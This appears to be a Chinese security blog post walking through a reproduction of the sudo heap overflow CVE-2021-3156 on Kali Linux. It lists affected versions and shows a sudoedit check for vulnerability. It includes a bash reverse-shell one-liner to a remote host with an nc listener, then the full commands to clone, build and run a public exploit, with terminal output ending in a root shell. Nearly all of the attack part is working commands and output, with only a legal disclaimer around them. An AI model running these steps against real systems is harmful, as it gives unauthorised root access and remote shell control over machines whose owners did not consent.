影响范围
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
环境准备
这里使用的是kali2020.2
查看sudo版本
sudo --version
sudoedit -s /
root@kali:~# sudoedit -s /
sudoedit: /:不是常规文件 #sudoedit: /: not a regular file
root@kali:~#
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file
useradd test
passwd test
#设置用户密码
service ssh start#启动ssh
ssh test@192.168.xx.xx
bash -i >& /dev/tcp/192.168.x.x/996 0>&1 #端口号咋就这样了
nc -lvvp 996
漏洞复现
cd /tmp
git clone https://github.com/blasty/CVE-2021-3156.git
make
chmod +x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 1
$ cd /tmp
$ pwd
/tmp
$ git clone https://github.com/blasty/CVE-2021-3156.git
正克隆到 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
接收对象中: 100% (50/50), 8.98 KiB | 836.00 KiB/s, 完成.
处理 delta 中: 100% (25/25), 完成.
$ cd CVE-2021-3156
$ pwd
/tmp/CVE-2021-3156
$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
$ ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty <[email protected]>
usage: ./sudo-hax-me-a-sandwich <target>
available targets:
------------------------------------------------------------
0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
------------------------------------------------------------
manual mode:
./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
$ ./sudo-hax-me-a-sandwich 1
** CVE-2021-3156 PoC by blasty <[email protected]>
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1001(test)
# ls
Makefile README.md brute.sh hax.c lib.c libnss_X sudo-hax-me-a-sandwich
# exit
END
往期回顾
技术分享 | spring-security 三种情况下的认证绕过
实用工具 | ChatGPT Tools,无需登录网址即可直接使用
技术分享 | 如何利用HTTP头部注入漏洞赚取12500美元的赏金
技术分享 | Windows文件/文件夹隐藏技巧,无需借助三方软件
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!! |
点赞是鼓励 在看是认同 分享是传递知识
看完点个“在看”分享给更多人
原文始发于微信公众号(杂七杂八聊安全):权限提升 | Linux本地提权sudo(CVE-2021-3156)漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论